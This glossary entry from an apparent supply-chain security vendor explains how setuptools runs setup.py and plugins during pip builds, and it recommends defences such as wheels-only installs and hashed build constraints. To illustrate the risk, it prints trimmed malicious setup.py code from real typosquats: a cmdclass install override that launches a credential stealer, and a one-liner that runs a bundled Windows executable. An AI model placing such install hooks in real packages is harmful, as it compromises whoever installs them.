Back to glossary

setuptools (Python)

setuptools is the default Python build backend: it turns source into sdists and wheels, executing setup.py and setuptools plugins during every build.

Also known as Python setuptools, setuptools.build_meta, setuptools build backend, pypa/setuptools

setuptools is the most widely used Python build backend (setuptools.build_meta): the PyPA library that turns a project's source tree into sdists and wheels. When pip installs a source distribution, it hands the build to setuptools, which executes the project's setup.py and any setuptools plugins in the build environment with your permissions. That makes setuptools Python's main install-time execution engine.

setuptools also usually runs at whatever version is newest on PyPI. In Michał Górny's analysis of 7,434 source distributions from the top PyPI projects, published in February 2025, setuptools built almost 79% of them. Of those, 4,178 sdists declared no build backend at all. For those, pip falls back to setuptools' legacy backend and, when no requirement is declared, to setuptools>=40.8.0: whatever release is newest on the day you build.

Our position: setuptools is not the threat. It is the mechanism. Every sdist build runs code the publisher chose, inside a build tool the consumer never pinned, released by a project whose CI publishes with a long-lived PyPI token. Install wheels where you can. Where you must build from source, pin and hash setuptools itself, and build somewhere that holds no credentials.

What is setuptools in Python?

#

setuptools is a Python library and build backend that packages Python projects into distributable archives. It reads project metadata, discovers packages, compiles C extensions, and writes the two formats PyPI serves: a source distribution (sdist, a .tar.gz) and a wheel (a .whl).

setuptools is not an installer. pip and uv are frontends: they resolve dependencies and install them. setuptools is a backend: a frontend calls it to turn source code into a wheel. The contract between the two is PEP 517, and the frontend learns which backend to call from pyproject.toml:

TOML, also INI
[build-system]
requires = ["setuptools>=61"]
build-backend = "setuptools.build_meta"

[project]
name = "demo-pkg"
version = "1.0.0"

setuptools began as an extension of distutils, the standard library's original packaging module. The Distribute fork merged back into setuptools in version 0.7 in 2013. Python 3.12 removed distutils under PEP 632, and setuptools now ships its own copy. Python 3.12 also stopped pre-installing setuptools in new virtual environments. A fresh python -m venv on Python 3.13 contains only pip. Projects get setuptools when a build asks for it.

setuptools accepts configuration three ways. The [project] table in pyproject.toml is declarative metadata standardized by PEP 621, supported since setuptools 61.0.0 in March 2022. setup.cfg is setuptools' older declarative format. setup.py is a Python script that calls setuptools.setup(), covered in our setup.py entry. Only setup.py is executable, and that difference drives the rest of this article.

As of November 1, 2026, the current release is setuptools 84.2.1, published October 20, 2026. It requires Python 3.10 or later, a floor raised in 83.0.0.

How does pip build a package with setuptools?

#

pip builds a package with setuptools by creating a throwaway virtual environment, installing the sdist's build requirements into it from the index, and calling three PEP 517 hooks in setuptools.build_meta. Each hook runs in a subprocess, and each one executes the project's setup.py.

An sdist with no [build-system] table does not stop pip. pip assumes setuptools. This is the fallback in pip 26.2's pip/_internal/pyproject.py:

Python
if build_system is None:
    # In the absence of any explicit backend specification, we
    # assume the setuptools backend that most closely emulates the
    # traditional direct setup.py execution, and require wheel and
    # a version of setuptools that supports that backend.

    build_system = {
        "requires": ["setuptools>=40.8.0"],
        "build-backend": "setuptools.build_meta:__legacy__",
    }

The requirement has a floor and no ceiling. Inside the build environment, setuptools' backend runs setup.py with exec. These lines are from setuptools/build_meta.py in 84.2.1:

Python
def _open_setup_script(setup_script):
    if not os.path.exists(setup_script):
        # Supply a default setup.py
        return io.StringIO("from setuptools import setup; setup()")

    return tokenize.open(setup_script)

# _BuildMetaBackend.run_setup():
        with _open_setup_script(__file__) as f:
            code = f.read().replace(r'\r\n', r'\n')

        try:
            exec(code, locals())  # noqa: S102 # exec is intentional here

Two facts follow. setuptools always runs a setup.py: the project's if one exists, its own one-line stub if not. And a complete [project] table in pyproject.toml does not prevent execution. If the sdist also contains setup.py, setuptools runs it. Our demo sdist below has both, and its setup.py ran every time.

What runs during one pip install demo_pkg-1.0.0.tar.gz (pip 26.2.2, setuptools 84.2.1)

  1. 1
    create isolated build envfetches latest backend
    pip installs build-system.requires (setuptools>=61) from PyPI and resolves it to 84.2.1, the newest release, with no hash check.
  2. 2
    get_requires_for_build_wheelruns setup.py
    setuptools executes setup.py egg_info to discover extra build requirements.
  3. 3
    prepare_metadata_for_build_wheelruns setup.py
    setuptools executes setup.py dist_info so pip can read dependencies. pip download and --dry-run stop here, after code has already run.
  4. 4
    build_wheelruns setup.py + cmdclass
    setuptools executes setup.py bdist_wheel, which runs build_py, install and egg_info. Overridden commands fire here, including install.
  5. 5
    install wheelno package code
    pip unpacks the wheel into site-packages. Files it drops, such as .pth hooks, run at the next interpreter start.

The figure traces one pip install demo_pkg-1.0.0.tar.gz with pip 26.2.2 and setuptools 84.2.1:

Steppip action or PEP 517 hooksetup.py commandRuns project code?
1Create isolated build environment and install build-system.requiresNoneNo. setuptools>=61 resolved to the newest release, 84.2.1, without a hash check
2get_requires_for_build_wheelegg_infoYes
3prepare_metadata_for_build_wheeldist_infoYes. pip download and pip install --dry-run stop after this step
4build_wheelbdist_wheel, which runs build_py, install, and egg_infoYes, including any cmdclass overrides
5Unpack the wheel into site-packagesNoneNo. Files such as .pth hooks run at the next interpreter start

Does setuptools run setup.py when you install a package?

#

Yes. setuptools runs a package's setup.py three times during one pip install of an sdist. We measured it with a package whose setup.py logs each top-level execution and overrides three setuptools commands through cmdclass. We built it as an sdist with setuptools 84.2.1 and installed it with pip 26.2.2 on Python 3.13:

Plain text
top-level setup.py code  argv=['egg_info']
cmdclass['egg_info'].run
top-level setup.py code  argv=['dist_info']
cmdclass['egg_info'].run
top-level setup.py code  argv=['bdist_wheel']
cmdclass['build_py'].run
cmdclass['install'].run
cmdclass['egg_info'].run

The install line is the one worth noticing. Modern pip never runs setup.py install. It asks setuptools for a wheel instead. But setuptools' bdist_wheel command builds that wheel by running the install command into a staging directory. An overridden install command therefore still fires on every PEP 517 build. In the log above, cmdclass['install'].run was written during bdist_wheel.

Overriding install is a recurring malware pattern in our PyPI research. This is the setup.py from browser_cookies3, a typosquat of the browser-cookie3 library we analyzed in October 2024, trimmed:

Python
from setuptools import setup, find_packages
from setuptools.command.install import install as _install
import subprocess
import sys, os

class CustomInstallCommand(_install):
    def run(self):
        _install.run(self)
        script_path = os.path.join(os.path.dirname(__file__), 'browser_cookies3', 'main.py')
        subprocess.run([sys.executable, script_path], check=True)

setup(
    name='browser_cookies3',
    version='1.1',
    packages=find_packages(),
    cmdclass={
        'install': CustomInstallCommand,
    },
)

The main.py it launches collected Chrome passwords, screenshots, webcam captures, and Discord tokens, and posted them to a Discord webhook. The malinssx package used the same cmdclass={'install': ...} shape to ping a Discord webhook on every install. The AnyDesk-Malcom package did it with a class named SneakyInstall. None of them needed a bug in setuptools. They used it as designed.

Top-level code needs even less. The crytic-compilers typosquat of Trail of Bits' crytic-compile ran a Windows trojan from one line of setup.py:

Python
exec("s.run(os.path.abspath('s.exe'), check=1)" if sys.platform == 'win32' else "pass")

Execution also starts before anything is installed. pip download and pip install --dry-run call steps 2 and 3 to learn an sdist's dependencies, so both run setup.py. In our tests with pip 26.2.2, that held even for pip download --no-deps, whether the sdist came from an index or a file path.

Build-time hooks are also among the most watched install scripts in Python. In the Telnyx Python SDK compromise of March 2026, the attacker skipped setup.py and put the payload in _client.py, which runs on import. Our write-up explained the choice: "Postinstall hooks are one of the most heavily monitored signals in PyPI's malware detection pipeline." Stopping setup.py from running closes one execution point. Our Python supply chain security entry covers the other two, interpreter startup and import.

setuptools runs plugins the project never asked for

#

setuptools runs code from packages other than the one being built. It discovers plugins through entry points and calls them during setup(). The group setuptools.finalize_distribution_options exists so tools such as setuptools-scm can derive a version from Git metadata. This is the loader in setuptools/dist.py:

Python
group = 'setuptools.finalize_distribution_options'

def by_order(hook):
    return getattr(hook, 'order', 0)

defined = metadata.entry_points(group=group)
filtered = itertools.filterfalse(self._removed, defined)
loaded = (e.load() for e in filtered)
for ep in sorted(loaded, key=by_order):
    ep(self)

Nothing in that loop checks whether the project being built requested the plugin. Every installed distribution that registers the entry point gets called. We built a small package, st-plugin, that registers one hook which writes a log line:

TOML, also INI
[project.entry-points."setuptools.finalize_distribution_options"]
st_plugin = "st_plugin:finalize"

We installed it next to setuptools, then installed the unrelated demo sdist with pip install --no-build-isolation. With isolation off, pip skips the build-requirements hook and calls two setuptools steps. The plugin ran in both:

Plain text
st_plugin ran: cwd=pip-req-build-hb9yj30l argv=['dist_info']
st_plugin ran: cwd=pip-req-build-hb9yj30l argv=['bdist_wheel']

With build isolation on, the same install logged nothing, because the isolated environment held only setuptools. Build isolation is a security boundary, not only a reproducibility feature. --no-build-isolation turns every package in the environment into potential build-time code, yet it was one of the standard workarounds when setuptools 72.0.0 broke builds. Two more entry-point groups, distutils.commands and distutils.setup_keywords, let any installed package add commands and setup() keywords.

setuptools even runs code at Python startup. Its wheel installs distutils-precedence.pth into site-packages, and Python's site module executes this line on every interpreter start:

Plain text
import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim(); 

The hook is benign. It makes import distutils resolve to setuptools' bundled copy. It is also the same mechanism the LiteLLM compromise used in October 2026, when cook.pth launched a credential stealer at startup. A .pth import line is ordinary in a Python environment, which is exactly why one more is easy to miss.

Why does a new setuptools release break builds everywhere?

#

A new setuptools release breaks builds everywhere because isolated builds install the newest setuptools that satisfies an open-ended requirement, on every machine, at build time. A release reaches every unpinned sdist build as soon as it is on PyPI. setuptools' own history shows the blast radius.

setuptools 72.0.0 was uploaded at 02:05 UTC on July 29, 2024. It removed the long-deprecated test command, and sdists whose setup.py imported setuptools.command.test stopped building, including Logbook, a dbt-core dependency, and vcrpy (pypa/setuptools#4519). The release was yanked, and 72.1.0 restored a compatibility shim at 15:11 UTC the same day, about 13 hours later.

setuptools 78.0.1, uploaded on March 24, 2025, turned deprecated dash-separated keys in setup.cfg into errors. LWN reported an estimated 12,000 affected packages, including requests when built from source. setuptools 78.0.2 reverted the change about five hours later. Within a day, pip maintainer Damian Shaw opened a discussion warning that "any build backend that is heavily relied on that makes a backwards incompatible change can break user workflows on a very large scale."

setuptools 82.0.0, on February 8, 2026, removed pkg_resources, a runtime API that older packages still import. The project has shipped 84 major versions. Its release documentation explains why releases are frequent and who can make one: "anyone with push access to the master branch has access to cut releases."

Breakage is the visible form of this property. Compromise would be the invisible one. A malicious setuptools release would reach the same builds on the same schedule, and pip's defaults would install it without a hash or a version pin.

How setuptools releases reach PyPI

#

setuptools' release job runs when a tag is pushed. It calls tox -e release, which uploads with twine using a repository secret. From .github/workflows/main.yml:

YAML
      - name: Run
        run: tox -e release
        env:
          TWINE_PASSWORD: ${{ secrets.PYPI_TOKEN }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

That is a long-lived PyPI API token, not Trusted Publishing, which replaces stored tokens with short-lived OIDC credentials. Consistent with that, setuptools 84.2.1's files carry no PEP 740 attestations. We queried PyPI's Integrity API on November 1, 2026:

Bash
$ curl -s https://pypi.org/integrity/setuptools/84.2.1/setuptools-84.2.1-py3-none-any.whl/provenance
{"message":"No provenance available for setuptools-84.2.1-py3-none-any.whl"}

The rest of PyPI is moving the other way. About a quarter of uploads in October 2025 used Trusted Publishing, as we noted when PyPI's Trusted Publishing adoption passed 25 percent.

We think the backend behind almost 79% of top sdists should publish through Trusted Publishing with package provenance attestations. That would remove a stealable token from the most consequential build dependency in Python. It would not stop a malicious tagged commit from someone with push access. A compromised maintainer publishing through a legitimate pipeline still produces valid provenance. Provenance is necessary, not sufficient.

Pinning setuptools inside the build environment

#

Pinning setuptools for an isolated build takes a build constraints file, because your requirements file and its hashes do not reach the build environment. We hash-pinned our demo sdist and installed it with pip install --require-hashes. pip verified the sdist's hash, then installed setuptools 84.2.1 into the build environment with no hash at all.

pip 25.3, released October 25, 2025, added --build-constraint. Before that, the usual workaround was the PIP_CONSTRAINT environment variable, which the pip subprocess that populates the build environment also reads. Pins in a build constraints file apply inside the build environment, and hashes in it are enforced:

Bash
$ echo "setuptools==80.9.0" > build-constraints.txt
$ pip download --no-deps --build-constraint build-constraints.txt demo_pkg-1.0.0.tar.gz
$ cat /tmp/setup_py_ran.log
setup.py ran: argv=['egg_info'] setuptools=80.9.0
setup.py ran: argv=['dist_info', ...] setuptools=80.9.0

A build constraint with a wrong --hash failed with "THESE PACKAGES DO NOT MATCH THE HASHES" before setup.py ran. uv offers the same control: --build-constraint, plus --require-build-hashes to demand hashes for every build dependency, per its documentation.

None of these controls stops the sdist's own setup.py. They decide which setuptools runs it. The table compares what each control covers, as of pip 26.2.2 and uv 0.11.32:

ControlWhat it stopsWhat it leaves open
pip --only-binary :all:Builds of sdists found on an index, so no setup.py runs for themPackages with no matching wheel fail to install. In our test, pip still built an sdist passed as an explicit file path
uv --no-buildAll sdist builds, including an sdist passed as a file path in our testPackages with no matching wheel fail to install
Hashed --build-constraint (pip 25.3+) or --require-build-hashes (uv)A surprise setuptools release, broken or maliciousThe sdist's own setup.py and cmdclass code
Build isolation, on by defaultPlugins registered by unrelated installed packagesCode in setup.py and in packages listed in build-system.requires
Build in a container with no credentialsTheft of secrets by build-time codeA malicious wheel produced by that build, and its startup or import-time code

Our verdict: in CI and production, install with --only-binary :all: or uv --no-build by default. Build the few sdists you cannot avoid once, in a credential-free container, with hashed build constraints, and serve the resulting wheels from your own index. Never pass --no-build-isolation in an environment that holds packages you have not reviewed.

Choosing a backend as a publisher

#

Publishers choose a backend, and the choice decides how much executable surface their sdists carry. Three common backends differ in whether project code can run during a build:

BackendCan project code run during a build?How it is enabledC extensions
setuptoolsYes. setup.py if present, plus entry-point plugins in the build environmentImplicitly, by the presence of setup.pyYes, natively
hatchlingYes, through a custom build hook in hatch_build.pyExplicitly, with [tool.hatch.build.hooks.custom] in pyproject.tomlNot natively; requires a build hook
uv_buildNo. Its documentation describes no hook or build-script mechanismNot applicableNo. "The uv build backend currently only supports pure Python code."

Our verdict: a pure-Python package gains nothing from setuptools' executable surface. With uv_build, or hatchling without hooks, a reviewer can confirm from pyproject.toml alone that no project code runs at build time, beyond the build requirements it lists. setuptools remains the right tool for C extensions and for established projects whose builds depend on setup.py.

This is publisher hygiene, not consumer defense. An attacker who uploads a malicious sdist picks the backend, and will pick the one that runs code.

The build tool is the dependency builds rarely lock

#

npm made dependency install scripts opt-in when npm v12 shipped with install scripts off by default in July 2026. Python's equivalent decision belongs to installers, not to setuptools. setuptools is the backend, and running the code in front of it is its job. Until pip refuses to build sdists by default, --only-binary :all: is a flag you have to remember.

The larger gap is upstream of any single install. In most Python builds that touch an sdist, the most consequential dependency is one the requirements file never mentions. It is resolved fresh at build time, hashed only if you maintain a second file, published without an attestation, and updated whenever a tag is pushed. Wheels sidestep the problem. Nothing in the default toolchain solves it yet.